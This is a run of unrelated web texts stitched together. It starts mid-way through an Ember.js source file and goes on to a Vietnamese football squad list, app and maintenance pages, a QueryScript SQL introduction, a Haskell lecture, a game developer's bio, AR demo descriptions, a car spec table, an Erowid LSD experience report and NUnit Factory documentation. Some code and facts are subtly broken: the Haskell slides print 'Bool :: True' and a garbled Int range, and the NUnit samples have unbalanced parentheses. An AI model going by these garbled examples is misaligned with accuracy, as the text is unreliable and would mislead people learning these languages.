testing, we can override this hook and implement custom behavior, such as serializing to a string and sending over an HTTP socket rather than appending to DOM. @param view {Ember.View} the root-most view @private */ didCreateRootView: function didCreateRootView(view) { view.appendTo(this.rootElement); }, /** Tells the router to start routing. The router will ask the location for the current URL of the page to determine the initial URL to start routing to. To start the app at a specific URL, call `handleURL` instead. @private */ startRouting: function startRouting() { var router = (0, _emberMetalProperty_get.get)(this, 'router'); var isModuleBasedResolver = !!this.registry.resolver.moduleBasedResolver; router.startRouting(isModuleBasedResolver); this._didSetupRouter = true; }, /** @private Sets up the router, initializing the child router and configuring the location before routing begins. Because setup should only occur once, multiple calls to `setupRouter` beyond the first call have no effect. */ setupRouter: function setupRouter() { if (this._didSetupRouter) { return; } this._didSetupRouter = true; var router = (0, _emberMetalProperty_get.get)(this, 'router'); var isModuleBasedResolver = !!this.registry.resolver.moduleBasedResolver; router.setupRouter(isModuleBasedResolver); }, /** Directs the router to route to a particular URL. This is useful in tests, for example, to tell the app to start at a particular URL. Ensure that you have called `setupRouter()` before calling this method. @param url {String} the URL the router should route to @private */ handleURL: function handleURL(url) { var router = (0, _emberMetalProperty_get.get)(this, 'router'); this.setupRouter(); return router.handleURL(url); }, /** @private */ setupEventDispatcher: function setupEventDispatcher() { var dispatcher = this.container.lookup('event_dispatcher:main'); dispatcher.setup(this.customEvents, this.rootElement); return dispatcher; }, /** @private */ willDestroy: function willDestroy() { this._super.apply(this, arguments); (0, _emberMetalRun_loop2['default'])(this.container, 'destroy'); } }); module.exports = exports['default'];


OFFICIAL: Vietnam announce 23-man squad for Thailand game; two players replaced
Two ASEAN heavyweights meet in the FIFA World Cup Asian qualifiers, second round, as Vietnam take on Thailand. The 2018 AFF Suzuki Cup champions are looking to extend their lead in Group G and have named their final 23-man squad for the upcoming match.
Park Hang-seo has added Nguyen Trong Hung and Le Van Dai ahead of Vietnam’s FIFA World Cup qualifier against Thailand. The pair replace Nguyen Huy Hung and Nguyen Huu Tuan in the squad.
The Golden Dragons currently stand on top of Group G rankings with ten points. Thailand, meanwhile, are second with seven.
Here is the 23-man squad for Vietnam’s FIFA World Cup Qualifiers against Thailand –
GOALKEEPERS (3): Dang Van Lam (Muangthong United), Nguyen Tuan Manh (Sanna Khanh Hoa BVN), Pham Van Cuong (Quang Nam)
DEFENDERS (6): Nguyen Thanh Chung (Ha Noi), Do Duy Manh (Ha Noi), Doan Van Hau (Heerenveen SC), Que Ngoc Hai (Viettel), Bui Tien Dung (Viettel), Le Van Dai (Thanh Hoa)
MIDFIELDERS (8): Vu Van Thanh (HAGL), Nguyen Phong Hong Duy (HAGL), Nguyen Tuan Anh (HAGL), Pham Duc Huy (Ha Noi), Nguyen Quang Hai (Ha Noi), Do Hung Dung (Ha Noi), Nguyen Trong Hoang (Viettel), Nguyen Hoang Duc (Viettel)
FORWARDS (6): Nguyen Van Toan (HAGL), Nguyen Cong Phuong (Sint Truidense), Nguyen Anh Duc (Becamex Binh Duong), Ha Minh Tuan (Quang Nam), Nguyen Tien Linh (Becamex Binh Duong), Nguyen Trong Hung (Thanh Hoa)


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This is the first page of this story.
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About Us!
Be foliage savvy by taking care of all of your plants
with a single app! We are passionate about keeping
your plants happy and healthy! We help set daily
reminders with alarms on all of your mobile devices
so that you can go about your day with no worries
that your indoor and outdoor plants will get the water
they need so they can grow and succeed!
Cori Sterberg
Project Leader
Joe Panetta
Marketing
Melissa Tanksley
Marketing
David Gold
React 1
Hanina Syed
React 2
Daniel Gipson
Backend Java


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Please check back in sometime.Why is the Site Down?
The site is under maintenance probably because we are working to improve this website drastically.
What is the Downtime?
We are usually back within 10-15 minutes but it definitely depends on the issue.
Do you need Support?
You may simply send us an Email at [email protected] if you need urgent support.


Introducing QueryScript: a programming language aimed for SQL scripting, seamlessly combining scripting power such as flow control & variables with standard SQL statements or RDBMS-specific commands.
QueryScript is available fro MySQL via common_schema, which adds MySQL-specific usage.
What does QueryScript look like? Here are a few code samples:
Turn a bulk DELETE operation into smaller tasks. Throttle in between.
while (DELETE FROM archive.events WHERE ts < CURDATE() LIMIT 1000) { throttle 2; }
Convert all InnoDB tables in the 'sakila' database to compressed format:
foreach ($table, $schema, $engine: table in sakila) { if ($engine = 'InnoDB') ALTER TABLE :$schema.:$table ENGINE=InnoDB ROW_FORMAT=COMPRESSED KEY_BLOCK_SIZE=8; }
Shard your data across multiple schemata:
foreach($shard: {USA, GBR, JAP, FRA}) { CREATE DATABASE db_:$shard; CREATE TABLE db_:$shard.city LIKE world.City; INSERT INTO db_:$shard.city SELECT * FROM world.City WHERE CountryCode = $shard; }
This tight integration between script and SQL, with the power of iteration, conditional statements, variables, variable expansion, throttling etc., makes QueryScript a power tool, with capabilities superseding those of stored routines, and allowing for simplified, dynamic code.
QueryScript code is interpreted. It's just a text, so it can be read from a @user_defined_variable, a table column, text file, what have you. For example:
mysql> set @script := "while (TIME(SYSDATE()) < '17:00:00') SELECT * FROM world.City WHERE id = 1 + FLOOR((RAND()*4079));"; mysql> call run(@script);
For more details, consult the QueryScript site.
If you're a MySQL user/DBA, better read the common_schema QueryScript documentation, to better understand the specific common_schema implementation and enhanced features.
common_schema, including the QueryScript interpreter, can be downloaded from the common_schema project page.
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Form
Model form that schools can use to determine which children are eligible for free school meals and the pupil premium.
ODT , 19.6KB
This file is in an OpenDocument format
If you use assistive technology (such as a screen reader) and need a version of this document in a more accessible format, please email<EMAIL_ADDRESS>. Please tell us what format you need. It will help us if you say what assistive technology you use.
MS Word Document , 51KB
If you use assistive technology (such as a screen reader) and need a version of this document in a more accessible format, please email<EMAIL_ADDRESS>. Please tell us what format you need. It will help us if you say what assistive technology you use.
Schools can ask parents to fill in this form to determine how many of their pupils attract free school meals and the pupil premium. The information parents include should help you see which children are likely to be eligible.
You should then share the completed forms with your local authority. They can run the necessary checks to confirm which children are eligible.
This form is a model - you are free to adjust it to meet your needs.
Parents who want to register their children for free school meals should apply through their local authority .


Lecture 5
Make Your Own Data Type
Bool = False | True
Int = -231 ... -1 | 0 | 1 ... 231-1
[Char] = [] | Char : [Char]
Double
data
keywordCreate a file MyData.hs
Start a line with data
and name the type MetricUnits
data MetricUnit = Meter | Liter | KiloGram
MetricUnit is called the type constructor
Everything after the equal sign is called the value constructor
Let's look at Meter, Liter, and KiloGram
Prelude> :type True
Bool :: True
Prelude> :load MyData.hs
Prelude> :type Meter
Meter :: MetricUnit
Prelude> :type Liter
Liter :: MetricUnit
Prelude> :type KiloGram
KiloGram :: MetricUnit
They are each of type MetricUnit
Show
is a Typeclass that enables data to be shown as a String
Prelude> True
True
Prelude> Meter
No instance for (Show MetricUnit) arising from a use of `print'
Possible fix: add an instance declaration for (Show MetricUnit)
Why did we get this error?
deriving (Show)
GHCi is trying to call the print function
print
only works for things that derive Show
but a MetricUnit doesn't derive Show
data MetricUnit = Meter | Liter | KiloGram deriving (Show)
FTFY
Haskell programs are type safe.
We can't use our MetricUnit type unless a function accepts it
So let's make our own function
Write a simple function that takes in a MetricUnit, and returns its symbol
symbol :: MetricUnit -> String
symbol :: MetricUnit -> String
symbol Meter = "m"
symbol Liter = "L"
symbol KiloGram = "kg"
(clear answer)
(show answer)
Rewrite symbol
using guards
symbol :: MetricUnit -> String
symbol :: MetricUnit -> String
symbol x
| x==Meter = "m"
| x==Liter = "L"
| x==KiloGram = "kg"
(clear answer)
(show answer)
Try compiling it. What happens?
deriving (Eq)
GHCi is yelling at us because we used '=='
No instance for (Eq MetricUnit) arising from a use of `=='
Possible fix: add an instance declaration for (Eq MetricUnit)
In the expression: x == Meter
So MetricUnit should also derive Eq if we want to use '=='
data MetricUnit = Meter | Liter | KiloGram deriving (Show, Eq)
Let's write a convert
function with our types.
We will convert from Metric to Imperial.
Just like last week's homework
But this time it will be elegant!
1. Define MetricUnit and ImperialUnit
data MetricUnit = Meter
| Liter
| KiloGram
deriving (Show, Eq)
data ImperialUnit = Yard
| Gallon
| Pound
deriving (Show)
2. Define Measurement
data Measurement = MetricMeasurement Double MetricUnit
| ImperialMeasurement Double ImperialUnit
deriving (Show)
This is new!
(MetricMeasurement 3.1 Liter) :: Measurement
(ImperialMeasurement 200 Pound) :: Measurement
3. Create the convert
function
convert :: Measurement -> Measurement
Implement it with pattern matching and guards
convert (MetricMeasurement x u)
| u==Meter = ImperialMeasurement (1.0936*x) Yard
| u==Liter = ImperialMeasurement (0.2642*x) Gallon
| u==KiloGram = ImperialMeasurement (2.2046*x) Pound
convert (ImperialMeasurement x u)
| u==Yard = MetricMeasurement (0.9144*x) Meter
| u==Gallon = MetricMeasurement (3.7854*x) Liter
| u==Pound = MetricMeasurement (0.4536*x) KiloGram
4.
Creating getter functions is monotonous!
data Point = Point Double Double
xval :: Point -> Double
xval (Point x _) = x
yval :: Point -> Double
yval (Point _ y) = y
Haskell provides a shortcut called record syntax
data Point = Point { xval::Double, yval::Double }
It makes code more readable
let a = Point 2 3
let b = Point {xval = 2, yval = 3}
There's more to write, but anyone can easily figure out what's going on.
Especially for large data types!
Oh yea, even types can have arguments.
data ThreeThings a = ThreeThings a a a deriving (Show)
ThreeThings
is bundle of three identical types
Prelude> ThreeThings 1 2 3
ThreeThings 1 2 3
Prelude> ThreeThings "hello" "there" "lad"
ThreeThings "hello" "there" "lad"
We can export useful code to a module
so that other projects can reuse them.
Step 1
module MyData
(MetricUnit(..),
ImperialUnit(..),
Measurement(..),
convert)
where
Done. No step 2. That was easy!
Note: your file name should be the same as your module name!Use convert
from anywhere!
-- OtherFile.hs
import MyData
reportMeasurement :: Measurement -> String
-- if metric, print out the measurement
reportMeasurement (MyData.MetricMeasurement x u)
= (show x) ++ " " ++ (show u)
-- otherwise if imperial, convert the measurement and try again
reportMeasurement m
= reportMeasurement (convert m)
data Tree = ...
add :: Tree -> Int


Hi! Mi name is Mario, and I am a Game Developer from Spain. You probably already figured that I want to make videogames.
Well, I don't want to just make videogames.
I want to CODE games.
I want to Design games.
I want to learn about every last bit of how videogames are made. I'm always looking for a new project, a new tool, a new jam, a new game. Something cool to play with or something challenging to test and develop my skills.
Besides C# for amateur games, I've been coding professionally in Python and Javascript for 2.5 years. I've also worked a bit with Scala and feel confortable with both Object Oriented and Functional programming.
I mostly use Unity with C# for my games. I'm comfortable using Git and I won't rewrite your branch's history. I've been working professionally in Agile environments for the last 2.5 years and used JIRA software for the most part of it.


A basic scene that superimposes a cube on a Hiro marker.
A scene that superimposes different colored cubes on a Hiro, Kanji, and letter markers.
The basic scene, recreated using "smoothed controls", which interpolates the marker location from frame to frame at an adjustable rate.
An image is positioned to cover a Hiro marker.
A rotating globe (illuminated by a point light) is positioned above a Hiro marker.
A flat plane, with a video for a texture, is positioned to cover a Hiro marker.
A flat plane moves up and down above a Hiro marker; position and tint color are controlled by vertex and fragment shaders.
A 3D model (obj and mtl files) are loaded and displayed above a Hiro marker.
A "hole in the floor" effect. Uses a box geometry to mask the hidden parts of the hole.
Another "hole in the floor" effect, using a plane geometry to mask the hidden parts of the hole.
A cylindrical "hole in the floor" effect, using a ring geometry to mask the hidden parts of the hole.
A basic scene created with only Three.js (no AR), useful for prototyping ideas before adding in AR components.
An animated effect (using shaders) that looks like water flowing out from a central point and being absorbed into the floor. (No AR.)
An animated effect (using shaders) that looks like water flowing
out from a cylindrical hole (displayed above a Hiro marker), and being absorbed into the floor.
Video preview here.
Move a cube around the screen with the keyboard. Controls (image):
W/A/S/D -- move Forward/Left/Backward/Right (standard),
Q/E -- rotate Left/Right,
R/F -- move Up/Down (think: Rise/Fall),
T/G -- tilt Up/Down (think: look at Tower/Ground).
Move a camera around the screen with the keyboard.
Uses same controls as Object Movement example.
Creating a "portal to another world" effect. Camera moves using same controls as Object Movement example. Only visible from one side.
Not very robust -- see the following portal examples instead.
A simple example that uses layers and the stencil buffer to render part of the scene onto a plane in the scene. Camera moves using same controls as Object Movement example. Useful for understanding portal view example.
A simple example that sets up a clipping plane (aligned with a plane mesh) to limit the volume of the scene that is rendered. Useful for understanding portal view example.
A "portal to another world" effect. Portal visible through both sides.
Camera moves using same controls as Object Movement example; also, press 1, 2, or 3 to see the view from different cameras.
Uses stencil buffer and clipping planes for accurate rendering.
An augmented reality version of the "portal to another world" effect. Portal renders above a Kanji marker.
Video preview here.
Creates a "magic cube effect" that overlays a cube covered with six AR markers in this pattern.
Video preview here.
Similar to the Rotating Globe example: places a globe over a Kanji marker. If Kanji marker is blocked, uses other markers (letter A and letter B) to position the globe.
Creates a rotating torus knot above a Kanji marker. The surface of the knot refracts the scene behind it.
Video preview here.
Creates a rotating torus knot above a Kanji marker. The knot casts a shadow onto the plane containing the marker.
Creates four colored bouncing basketballs around a Kanji marker.
A basketball launches from a Letter-A marker and falls towards a Letter-B marker, following a parabolic path. The ball casts shadows, and a clipping plane (see above example) is used to make the ball disappear into the marker.


| Spek |
Nilai |
Satuan |
| Panjang Keseluruhan |
4825 |
(mm) |
| Lebar Keseluruhan |
1860 |
(mm) |
| Tinggi Keseluruhan |
1840 |
(mm) |
| Jarak Antar Ban |
2845 |
(mm) |
| Berat Kosong |
1980 |
(kg) |
| Berat Total |
2650 |
(kg) |
| Ground Clearance |
230 |
(mm) |
| Seating Capacity |
7 |
(person) |
| Kapasitas Bahan Bakar |
65 |
(lt) |
| Radius Putar |
5.8 |
(m) |
| Mesin |
|
| Type |
4JKT-TC Hi Power |
|
In-Line 4 Silinder, DOHC, 16-Katup |
|
Turbo Charger – VGS |
|
|
|
| Kapasitas |
2499 |
(cc) |
| Tenaga Maksimum |
136/3400 |
(ps/rpm) |
| Torsi Puncak |
32,6/1800-2800 |
(kgm/rpm) |
| Bore x Stroke |
95,4 x 87,4 |
(mm) |
| Komponen Penggerak |
|
|
| Transmisi |
5 Speed AT Tiptronic with Adaptive |
|
|
Gradient Logic Control |
|
| Sistem Penggerak |
4 x 2 |
|
| Rasio Gigi |
3520 |
1st |
|
2042 |
2nd |
|
1400 |
3rd |
|
1000 |
4th |
|
0.716 |
5th |
|
3224 |
Rev |
| Rasio Gigi Akhir |
3909 |
|
| Pengereman & Suspensi |
|
| Tipe Rem Depan |
Ventilated Disc 16″ |
| Tipe Rem Belakang |
Ventilated Disc 16″ |
| Tipe Suspensi |
Independent Coil Springs Suspension |
|
with Gas Shock Absorbers and |
|
Stabiliser Bar |
| Ban |
255/65R17 |
| Velg |
17″ X 7.0J Alumunium |
| Exterior |
|
| Grille Depan |
Chrome |
| Lampu Utama Berproyektor |
Yes |
| Lampu Kabut |
Yes |
| Kaca Spion Electric |
Yes |
| Kaca Spion Electric Folding |
Yes |
| Kaca Spion Turning Signal |
Yes |
| Kaca Spion Type |
Chrome |
| Gagang Pintu |
Chrome |
| Muffler Cutter |
Yes |
| Aluminium Side Step |
Yes |
| Chrome Side Body Moulding |
Yes |
| Tail Gale |
with Electronic “Soft Touch” opening switch |
|
|
| Roof Rail
| Yes
|
| Rear Spoiler with LED Stop Lamp
| Yes
|
| Antena
| Roof Mounted
|
| Wiper Depan
| Variable Intermittent
|
| Wiper Belakang
| Yes
|
| Integrated Fender on Body Panel
| Yes
|
| Interior |
|
| Cluster Meter |
Electroluminescent |
| Multi-Information System |
Yes |
| Audio Type |
7.0 inch LCD Monitor (iphone/android “True Mirroring , HDMI, USB, CD, Bluetooth) |
| Speaker |
8 Speaker |
| Seat Material |
Leather |
| Seat Adjuster |
Electric Adjuster for Driver |
| Comfort & Convenience |
|
| AC |
Auto Control |
| Tilted Steering |
Yes |
| Passive Entry and Start System |
Yes |
| Power Window |
One-Touch up & down with Jam Protection |
| Power Steering |
Yes |
| Steering Audio Control |
Yes |
| Auto Cruise |
Yes |
| Parking Camera |
Yes |
| Reverse Sensor |
Yes |
| Safety |
|
| Anti-Lock Brake System |
Yes |
| Electronic Brakeforce Distribution |
Yes |
| Eectronic Stability Control |
Yes |
| Traction Control System |
Yes |
| Brake Assist |
Yes |
| SRS Airbag |
Dual Front Airbag with |
|
Pre-tensioner Seat Belt |
| 3-Point Seat Belt |
All 7 Seat |
| Immobilizer |
Yes |
Anti Theft Alarm System |
Yes |
Side Intrusion Door Beams Depan |
Yes |
Side Intrusion Door Beams Belakang |
Yes |
Child Lock |
Yes |
Back to Top


| DOSE: |
2 hits |
oral |
LSD |
(pill / tablet) |
I took acid on a friend's recommendation. I first took ecstasy with him, which was fun so I thought that I would trust him with LSD. I took 2 dots which are apparently quite strong. After about an hour, objects began moving and things seemed to take on great symbolic value. Although the room was utterly silent apart from the music, I remember thinking that we were all still communicating on an incredible level and having each other's thoughts. Soon though we went on a walk and BLAM, the trip went bad. This was after about 2 hours.
Eventually I got out of the house and I have been having awful flashbacks since. These often come as I am trying to sleep and I have been having nightmares for about 2months now. I feel that the acid has changed my personality also; I cannot get away from the feeling that everyone is plotting against me. Before taking LSD, I think I was friendly and outgoing. Now, though, I have become introverted and neurotic. I find it difficult to meet people (unless I am on ecstasy) and as I have just started at University, this is very bad for my social life.
I do not know what I did wrong; I can just suggest that you think hard about the setting before you take acid. I wish I knew suggestions about controlling the flashbacks or nightmares.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


FactoryAttribute is used on a parameterized test method to identify the test case factory (or factories) that will provide the required arguments. The attribute has four constructors.
Factory(Type factoryType, string factoryName); Factory(Type factoryType); Factory(string factoryName); Factory();
If factoryType is specified, it represents the class that provides the test case factory. If not, the class containing the test method is used.
If factoryName, it represents the name of a field, property or method that will provide the arguments. This field may contain a single name or multiple names separated by commas. If no factoryName is given, NUnit attempts to find factories that are compatible with the method signature using information provided by the TestCaseFactoryAttribute.
Each test case factory has the following characteristics:
NUnit locates the factories at the time the tests are loaded, creates instances of each class with non-static factories and builds a list of tests to be executed. Each factory object is only created once at this time and is destroyed after all tests are loaded. In the case of factories located within the same class as the tests, a different object is created each time the test is run, so no communication is possible using non-static members of the class.
In constructing tests, NUnit uses each item returned from the factory enumerator as follows:
If it is an object[], it is used directly to provide the arguments for the method, as in this example, which returns arguments from a named static field.
[Test, Factory("DivideCases")] public void DivideTest(int n, int d, int q) { Assert.AreEqual( q, n / d ); } static object[] DivideCases = { new object[] { 12, 3, 4 }, new object[] { 12, 2, 6 }, new object[] { 12, 4, 3 } };
If it is an array of some other type, NUnit can use it provided that the arguments to the method are all of that type. For example, the above code could be modified to make the three nested arrays of type int[].
If it is a single value type - like numerics or DateTime - it is used directly as the sole argument to the method. The method must, of course take a single argument of the same type for this to work. This eliminates a bit of syntax on the part of the programmer, as in this example:
static int[] EvenNumbers = new int[] { 2, 4, 6, 8 }; [Test, Factory("EvenNumbers")] public void TestMethod(int num) { Assert.IsTrue( num % 2 == 0 ); }
Note: Any user-defined struct intended to hold the arguments will be passed directly to the test method, since a struct is a value type. If you intend your user type to be used as described in the following item, you must define it as a class.
If it is any other type of object, it is examined using reflection and any public fields or properties with the following names are used:
Although any object with the required fields or properties may be used, NUnit provides the TestCaseData class for this purpose. The following example returns TestCaseData instances from a data source in a separately defined class.
[TestFixture] public class MyTests { [Test,Factory(typeof(MyFactoryClass)] public void DivideTest(int n, int d, int q) { Assert.AreEqual( q, n / d ); } ... } public class MyFactoryClass { [TestCaseFactory(typeof(int), typeof(int))] public static IEnumerable TestCases { get { yield return new TestCaseData( 12, 3 ).Returns( 4 ); yield return new TestCaseData( 12, 2 ).Returns( 6 ); yield return new TestCaseData( 12, 4 ).Returns( 3 ); yield return new TestCaseData( 0, 0 ) .Throws(typeof(DivideByZeroException)) .With.TestName("DivideByZero") .With.Description("An exception is expected"); } } }
This example uses the fluent interface supported by TestCaseData to make the program more readable. The last yield statement above is equivalent to
TestCaseData data = new TestCaseData(0,0); data.ExpectedException = typeof(DivideByZeroException; data.TestName = "DivideByZero"; data.Description = "An exception is expected"; yield return data;
TestCaseData supports the following properties and methods, which may be appended to an instance in any order.